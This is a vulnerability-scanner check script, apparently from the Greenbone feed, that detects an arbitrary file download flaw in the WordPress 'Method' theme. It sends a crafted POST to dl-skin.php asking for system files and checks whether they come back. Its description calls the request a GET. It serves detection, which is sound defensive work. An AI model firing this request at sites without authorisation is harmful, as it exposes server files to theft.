WordPress Theme Method Arbitrary File Download Vulnerability

# SPDX-FileCopyrightText: 2014 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:mysitemyway:method";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.105051");
  script_version("2025-04-15T05:54:49+0000");
  script_tag(name:"last_modification", value:"2025-04-15 05:54:49 +0000 (Tue, 15 Apr 2025)");
  script_tag(name:"creation_date", value:"2014-06-26 14:02:57 +0200 (Thu, 26 Jun 2014)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_tag(name:"qod_type", value:"remote_app");

  script_name("WordPress Theme Method Arbitrary File Download Vulnerability");

  script_category(ACT_ATTACK);

  script_family("Web application abuses");
  script_copyright("Copyright (C) 2014 Greenbone AG");
  script_dependencies("gb_wordpress_themes_http_detect.nasl", "os_detection.nasl");
  script_mandatory_keys("wordpress/theme/method/detected");

  script_xref(name:"URL", value:"https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-themes/method/method-21-arbitrary-file-download");

  script_tag(name:"summary", value:"WordPress theme 'Method' is prone to an arbitrary file download
  vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"impact", value:"Exploiting this issue could allow an attacker to compromise the
  application and the underlying system. Other attacks are also possible.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore. General solution
  options are to upgrade to a newer release, disable respective features, remove the product or
  replace the product by another one.");

  exit(0);
}

include("misc_func.inc");
include("traversal_func.inc");
include("http_func.inc");
include("host_details.inc");
include("os_func.inc");

if( ! port = get_app_port( cpe:CPE ) )
  exit( 0 );

if( ! dir = get_app_location( cpe:CPE, port:port ) )
  exit( 0 );

if( dir == "/" )
  dir = "";

useragent = http_get_user_agent();
url = dir + "/lib/scripts/dl-skin.php";
files = traversal_files();
host = http_host_name( port:port );

foreach file( keys( files ) ) {
  ex = "_mysite_download_skin=/" + files[file];
  len = strlen( ex );

  req = 'POST ' + url + ' HTTP/1.1\r\n' +
        'Host: ' + host + '\r\n' +
        'User-Agent: ' + useragent + '\r\n' +
        'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n' +
        'Accept-Language: en-US,en;q=0.5\r\n' +
        'Accept-Encoding: identity\r\n' +
        'Connection: close\r\n' +
        'Content-Type: application/x-www-form-urlencoded\r\n' +
        'Content-Length: ' + len + '\r\n' +
        '\r\n' +
        ex;
  result = http_send_recv( port:port, data:req, bodyonly:FALSE );
  if( egrep( pattern:file, string:result ) ) {
    report = http_report_vuln_url( port:port, url:url );
    req_resp = 'Request:\n' + req + '\n\nResponse:\n' + substr( result, 0, 800 ) + '\n[truncated]';
    security_message( port:port, data:report, expert_info:req_resp );
    exit( 0 );
  }
}

exit( 99 );